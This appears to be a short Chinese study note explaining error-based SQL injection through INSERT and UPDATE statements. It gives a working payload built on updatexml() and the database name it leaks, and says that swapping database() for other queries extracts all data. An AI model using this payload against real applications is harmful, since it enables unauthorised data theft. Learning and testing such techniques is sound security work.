---

insert、update 注入

原理

前端的输入可以直接拼接到后端的insert、update命令

命令

# insert命令
insert into member(username,pw,sex,phonenum,email,address) values('xxx',1,2,3,4,5);

values('xxx',1,2,3,4,5)括号内的数据没有经过处理直接拼接会造成 sql 注入漏洞

# 我们需要构造的命令
insert into member(username,pw,sex,phonenum,email,address) values('1' or updatexml(1,concat(0x7e,database()),0) or '',1,2,3,4,5);

# payload就是原来xxx的位置:
1' or updatexml(1,concat(0x7e,database()),0) or '

# 输入payload，返回结果：
XPATH syntax error: '~root'

• or判断会把左右的表达式先执行一遍
• 执行updatexml()函数时利用函数报错获取信息
• 接下来替换database()位置的命令就能得到数据库的全部数据(见基于函数报错的信息获取.md)
• 怎么会有个跳转连接,.md后缀被认为是网站了吗？
• update和insert一样，payload 通用